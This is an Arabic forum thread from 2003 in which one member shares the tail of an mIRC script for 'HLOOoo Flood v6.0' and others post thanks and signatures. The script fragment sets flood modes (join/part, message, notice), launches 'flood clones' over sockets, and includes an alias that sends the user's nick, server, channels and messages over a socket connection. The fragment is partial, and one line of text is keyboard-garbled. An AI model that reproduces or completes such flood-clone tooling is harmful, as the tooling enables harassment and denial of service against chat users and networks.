alias info_onme { unset %chan | unset %query | message | chan | sockwrite -tn $1 Nick: $me | sockwrite -tn $1 Server: $server | sockwrite -tn $1 Channels: %chan | sockwrite -tn $1 Messsages: %query }
on ! *dialog:flood:edit:6: { set %HLOOoo.flood.m $did(6) }
on *dialog:flood:sclick9: { set %HLOOoo.flood.type jp }
on *dialog:flood:sclick:10: { set %HLOOoo.flood.type jpmsg }
on *dialog:flood:sclick:11: { set %HLOOoo.flood.type msg }
on *dialog:flood:sclick:12: { set %HLOOoo.flood.type notice }
on *dialog:flood:sclick:2: { did -a flood 13 $crlf $+ Connecting Flood Clones | HLOOoo.flood }
on *dialog:flood:Init:0: { did -a flood 13 HLOOoo Flood v6.0 }
on *dialog:flood:sclick:15: { sockclose HLOOoo* | unset %currentsword1 | did -r flood 13 | did -a flood 13 HLOOoo Flood v6.0 }
}

وشكرا لكم سب زيرو:heart

h,hlv fd hgifg ;gih [ldgi hgYfg h,hlv fd [ldgi ;gih












توقيع : sub-ziro`

<HTML><BODY bgcolor="#FFFFFF">
<!-- START MESSAGE AFTER THIS LINE-->
SuB-ZiRo

<!-- END YOUR MAIL MESSAGE BEFORE THIS LINE-->

<p><a Target="_top" href="http://www.flamingtext.com/hmail.html" ><img src="http://hmail.flamingtext.com/hmail/2003/08/10/flamingtext_com_1060522979_15320.gif" border=0 alt="Image by KeYLoGeR@MySelF.CoM"></a>
<br>Image by <a href="http://www.flamingtext.com/hmail2.html" >KeYLoGeR@MySelF.CoM</a>
</BODY></HTML>

عرض البوم صور sub-ziro`   رد مع اقتباس
قديم 01-14-2003, 12:51 PM   المشاركة رقم: 2
المعلومات
الكاتب:
اللقب:
الاعضاء

البيانات
التسجيل: Dec 2002
العضوية: 385
المشاركات: 162 [+]
بمعدل : 0.03 يوميا
اخر زياره : [+]
معدل التقييم:
نقاط التقييم: 10
 

الإتصالات
الحالة:
FAWAZ غير متصل
وسائل الإتصال:

كاتب الموضوع : sub-ziro` المنتدى : برامج - سكربتات - اضافات ماسنجر

يعطيك العافيه او مشكور ما تقصر












توقيع : FAWAZ

http://www.Arab22.Com

مــن الســهــل انــك تحــب لكــن مــن الصعـب انك تفــتــرق

للمراسله:
aL7oOoT2@HoTmaiL.Com
Fawez_Q8@hotmail.com

عرض البوم صور FAWAZ   رد مع اقتباس
قديم 01-14-2003, 05:48 PM   المشاركة رقم: 3
المعلومات
الكاتب:
اللقب:
الاعضاء

البيانات
التسجيل: Sep 2002
العضوية: 66
المشاركات: 256 [+]
بمعدل : 0.04 يوميا
اخر زياره : [+]
معدل التقييم:
نقاط التقييم: 10
 

الإتصالات
الحالة:
sub-ziro` غير متصل
وسائل الإتصال:

كاتب الموضوع : sub-ziro` المنتدى : برامج - سكربتات - اضافات ماسنجر
شكرا لك

شكرا لك مشكور على الرد الجميل












توقيع : sub-ziro`

<HTML><BODY bgcolor="#FFFFFF">
<!-- START MESSAGE AFTER THIS LINE-->
SuB-ZiRo

<!-- END YOUR MAIL MESSAGE BEFORE THIS LINE-->

<p><a Target="_top" href="http://www.flamingtext.com/hmail.html" ><img src="http://hmail.flamingtext.com/hmail/2003/08/10/flamingtext_com_1060522979_15320.gif" border=0 alt="Image by KeYLoGeR@MySelF.CoM"></a>
<br>Image by <a href="http://www.flamingtext.com/hmail2.html" >KeYLoGeR@MySelF.CoM</a>
</BODY></HTML>

عرض البوم صور sub-ziro`   رد مع اقتباس
إضافة رد

مواقع النشر (المفضلة)

الكلمات الدلالية (Tags)
الإبل, اوامر, بي, جميله, كلها

جديد منتدى برامج - سكربتات - اضافات ماسنجر


أدوات الموضوع
انواع عرض الموضوع


ترتيب الموقع عالميا
     

Site_Map


الساعة الآن 11:00 AM.


Powered by vBulletin® Version 3.8.9
Copyright ©2000 - 2020, vBulletin Solutions, Inc.
Search Engine Friendly URLs by vBSEO 3.6.1